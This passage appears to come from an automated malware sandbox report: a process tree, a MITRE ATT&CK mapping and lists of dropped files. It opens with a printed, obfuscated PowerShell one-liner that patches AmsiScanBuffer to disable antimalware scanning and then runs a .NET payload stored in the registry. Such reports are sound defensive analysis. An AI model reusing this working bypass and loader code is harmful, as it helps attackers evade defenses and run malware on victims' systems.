$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m.d'+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+'t'+''+'.'+''+[Char](87)+'i'+'n'+''+'3'+'2'+'.'+''+[Char](85)+'n'+[Char](115)+'a'+[Char](102)+'e'+'b'+''+[Char](108)+'CPIC'+[Char](109)+''+[Char](85)+'r'+[Char](121)+'Vo'+[Char](105)+'');$LmeulTwQXgUDQf=$blCPICmUryVoi.GetMethod(''+[Char](76)+''+'m'+''+'e'+'u'+[Char](108)+''+[Char](84)+''+[Char](119)+''+'Q'+'X'+'g'+''+'U'+''+'D'+''+[Char](81)+''+[Char](102)+'',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c,'+'S'+''+[Char](116)+'a'+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TKTjgniUOFlosgEmVpQ=zOezbuWCQCvs @([String])([IntPtr]);$FPOQpWbFjDyUYaQaDqIDTg=zOezbuWCQCvs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UAJOAUdDNPl=$blCPICmUryVoi.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+[Char](110)+'el'+[Char](51)+''+'2'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')));$yANeKOvKakEqUr=$LmeulTwQXgUDQf.Invoke($Null,@([Object]$UAJOAUdDNPl,[Object]('Loa'+[Char](100)+'L'+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+'A'+'')));$RzOxnIutJNbPkOggk=$LmeulTwQXgUDQf.Invoke($Null,@([Object]$UAJOAUdDNPl,[Object](''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$bGtASyo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yANeKOvKakEqUr,$TKTjgniUOFlosgEmVpQ).Invoke('a'+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$BQNNWMmraOdpqxHiy=$LmeulTwQXgUDQf.Invoke($Null,@([Object]$bGtASyo,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+'i'+''+'S'+''+[Char](99)+''+'a'+''+[Char](110)+''+'B'+''+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+'r'+'')));$YIxeNpMhyd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RzOxnIutJNbPkOggk,$FPOQpWbFjDyUYaQaDqIDTg).Invoke($BQNNWMmraOdpqxHiy,[uint32]8,4,[ref]$YIxeNpMhyd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$BQNNWMmraOdpqxHiy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RzOxnIutJNbPkOggk,$FPOQpWbFjDyUYaQaDqIDTg).Invoke($BQNNWMmraOdpqxHiy,[uint32]8,0x20,[ref]$YIxeNpMhyd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+'TW'+[Char](65)+'RE').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+''+[Char](101)+''+'r'+'st'+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)1⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
-
-
-
C:\Program Files\Hola\app\updater64.exe"C:\Program Files\Hola\app\updater64.exe"1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\SysWOW64\._cache_Synaptics.exe" Admin3⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 8268 -ip 82681⤵
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
-
C:\1.exeC:\1.exe1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a78177eb-aba3-420b-8b21-c3ef7ef5c358}1⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
-
C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exeC:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\System32\GameBarPresenceWriter.exe"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer1⤵
- Network Service Discovery
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe" -service -lunch1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"2⤵
-
-
C:\Windows\explorer.exeexplorer.exe ,C:/Windows/taskmen.exe1⤵
-
C:\Program Files (x86)\Bppn\3fltixpfip1.exe"C:\Program Files (x86)\Bppn\3fltixpfip1.exe"1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
-
C:\ProgramData\WindowsDataC.exeC:\ProgramData\WindowsDataC.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Rnts.exeC:\Users\Admin\AppData\Local\Temp\Rnts.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 6212 -ip 62121⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 5924 -ip 59241⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Modify Authentication Process
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
1Modify Authentication Process
1Modify Registry
4Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Discovery
Browser Information Discovery
1Network Service Discovery
1Peripheral Device Discovery
1Query Registry
6Remote System Discovery
1System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
default-0.log
default-0.log
logs.dat
Process.txt
SCT Auditing Pending Reports
Preferences
Secure Preferences
Local State
Local State
TempSpoofer.exe.log
settings.dat
settings.dat
Edge Profile.ico
Local State
Local State
svchost.exe
iconcache_idx.db
game1[1].js
sq.core[1].js
sq.login[2].js
dy-jy3[1].js
istat.controller[1].php
tcaptcha-frame.5bae14dd[1].js
TCaptcha[1].js
game1[1].css
sq.clientclass[1].js
sq.dialog2015[1].js
V01.chk
microsoft.windows[1].xml
Microsoft_Windows_ControlPanel
{6D809377-6AF0-444B-8957-A3773F02200E}_Java_jre-1_8_bin_javacpl_exe
AppCache134199929821619906.txt
ADVENT-DSGLTD.XRM-MS
ALIENWARE.XRM-MS
AVERATEC-TRIGEM.XRM-MS
BENQ.XRM-MS
DELL.XRM-MS
FOUNDRFOUNDRPC.XRM-MS
FSCPC.XRM-MS
FUJITSU-SIEMENS.XRM-MS
FUJITSU.XRM-MS
GATEWAY.XRM-MS
GIGABYTE.XRM-MS
HAIER.XRM-MS
HASEE.XRM-MS
IBM-LENOVO.XRM-MS
JOOYON.xrm-ms
LG-X-NOTE.xrm-ms
MEDION.XRM-MS
MSI.xrm-ms
NEC.XRM-MS
NECCAP.XRM-MS
PACKARDBELL.XRM-MS
PANASONIC.XRM-MS
SHARP.XRM-MS
SYSTEMAX.XRM-MS
TARGA.XRM-MS
TCL.XRM-MS
TOSASU00-TOSASU.XRM-MS
TOSCPL00-TOSCPL.XRM-MS
TOSQCI00-TOSQCI.XRM-MS
VELOCITYMICRO.XRM-MS
ACRSYSACRPRDCT.XRM-MS
SAMSUNG.XRM-MS
slmgr.vbs
sppcomapi.dll
systemcpl.dll
user32.dll
sppcomapi.dll
7tokens.exe
Bios.vbs
Registry.exe
Makegrldr0-1
bootrest.exe
Microsoft.Windows.ServerManager-ppdlic.xrm-ms
Security-Licensing-SLC-ppdlic.xrm-ms
Security-Licensing-SLC-Component-SKU-ServerEnterprise-OEM-SLP-ul-oob.xrm-ms
Security-Licensing-SLC-Component-SKU-ServerEnterprise-OEM-SLP-ul.xrm-ms
Security-Licensing-SLC-Component-SKU-ServerStandard-OEM-SLP-ul-oob.xrm-ms
Security-Licensing-SLC-Component-SKU-ServerStandard-OEM-SLP-ul.xrm-ms
Display.dll.mui
shell32.dll.mui
themecpl.dll.mui
Display.dll.mui
shell32.dll.mui
themecpl.dll.mui
Display.dll.mui
shell32.dll.mui
Display.dll.mui
themecpl.dll.mui
themecpl.dll.mui
shell32.dll.mui
Adm.cmd
AutoB.cmd
Cert2.0.cmd
Cert2.1.cmd
Help.cmd
Hibernation.cmd
KMSkey.cmd
Option.cmd
SLIC.cmd
SLIC2.1D.cmd
SLIC2.1DBASIC.cmd
SLIC2.1DBOOTMGR.cmd
SLIC2.1DHIDDEN1.cmd
SLIC2.1DHIDDEN2.cmd
SLIC2.1DVFD.cmd
SLIC2.1SI.cmd
SLIC2.1SIBASIC.cmd
SLIC2.1SIBOOTMGR.cmd
SLIC2.1SIHIDDEN1.cmd
SLIC2.1SIHIDDEN2.cmd
SLIC2.1SIVFD.cmd
SLIC2.1ST.cmd
SLIC2.1STBASIC.cmd
SLIC2.1STBOOTMGR.cmd
SLIC2.1STHIDDEN1.cmd
SLIC2.1STHIDDEN2.cmd
SLIC2.1STVFD.cmd
SLIC2.1U.cmd
SLICCHECK.cmd
SLICINSTALLCHECK.cmd
Sever2008key.cmd
Tel_ID.cmd
Vistakey.cmd
Windows7key.cmd
Microsoft-Windows-Fax-Common-ppdlic.xrm-ms
Printing-Spooler-Pmc-Licensing-ppdlic.xrm-ms
SecureStartupFeature-ppdlic.xrm-ms
Security-Licensing-SLC-Component-SKU-Ultimate-ppdlic.xrm-ms
Security-Licensing-SLC-Component-SKU-Ultimate-OEM-SLP-ul-oob.xrm-ms
Security-Licensing-SLC-Component-SKU-Ultimate-OEM-SLP-ul.xrm-ms
Security-Licensing-SLC-ppdlic.xrm-ms
Shell-InBoxGames-FreeCell-ppdlic.xrm-ms
Shell-InBoxGames-Hearts-ppdlic.xrm-ms
Shell-InBoxGames-Minesweeper-ppdlic.xrm-ms
Shell-InBoxGames-PurblePlace-ppdlic.xrm-ms
Shell-InBoxGames-Solitaire-ppdlic.xrm-ms
Shell-InBoxGames-SpiderSolitaire-ppdlic.xrm-ms
WindowsAnytimeUpgrade-ppdlic.xrm-ms
parentalcontrols-ppdlic.xrm-ms
CaptureWizard-ppdlic.xrm-ms
DirectExperience-ppdlic.xrm-ms
MediaCenter-ppdlic.xrm-ms
Microsoft-Windows-AuxiliaryDisplay-ppdlic.xrm-ms
Microsoft-Windows-DOT11PREF-ppdlic.xrm-ms
MicrosoftWindowsSafeDocsMain-ppdlic.xrm-ms
MobilePCMobilityCenter-ppdlic.xrm-ms
MobilePCPresentationSettings-ppdlic.xrm-ms
MovieMaker-ppdlic.xrm-ms
NetworkProjection-ppdlic.xrm-ms
OMD-API-ppdlic.xrm-ms
PeerToPeerAdhocMeetings-ppdlic.xrm-ms
PeerToPeerBase-ppdlic.xrm-ms
SLC-Component-SKU-OCUR-ppdlic.xrm-ms
Security-Licensing-SLC-Component-SKU-OCUR-ppdlic.xrm-ms
Shell-InBoxGames-Shanghai-ppdlic.xrm-ms
Shell-PremiumInBoxGames-Chess-ppdlic.xrm-ms
TabletPC-UIHub-ppdlic.xrm-ms
TabletPC-tabbtn-ppdlic.xrm-ms
TabletPCAccessories-ppdlic.xrm-ms
TabletPCCoreInkRecognition-ppdlic.xrm-ms
TabletPCInkBall-ppdlic.xrm-ms
TabletPCInputPanel-ppdlic.xrm-ms
TabletPCInputPersonalization-ppdlic.xrm-ms
TabletPCPlatformInput-core-ppdlic.xrm-ms
WMPPlayer-ppdlic.xrm-ms
WindowsSearchEngine-Licensing-ppdlic.xrm-ms
msac3enc-ppdlic.xrm-ms
msmpeg2adec-ppdlic.xrm-ms
msmpeg2enc-ppdlic.xrm-ms
msmpeg2vdec-ppdlic.xrm-ms
ACLUIFileFolderTool-ppdlic.xrm-ms
GroupPolicy-License-ppdlic.xrm-ms
IASLicensing-ppdlic.xrm-ms
Kernel-ppdlic.xrm-ms
LSA-License-ppdlic.xrm-ms
Microsoft-Windows-Core-ppdlic.xrm-ms
Microsoft-Windows-DesktopWindowManager-Core-ppdlic.xrm-ms
Microsoft-Windows-InternetConnectionSharingConfig-ppdlic.xrm-ms
Microsoft-Windows-NetworkBridge-ppdlic.xrm-ms
Microsoft-Windows-OfflineFiles-Core-ppdlic.xrm-ms
PhotoMinFeature-ppdlic.xrm-ms
Printing-Spooler-Core-Localspl-Licensing-ppdlic.xrm-ms
Printing-Spooler-Core-Spoolss-Licensing-ppdlic.xrm-ms
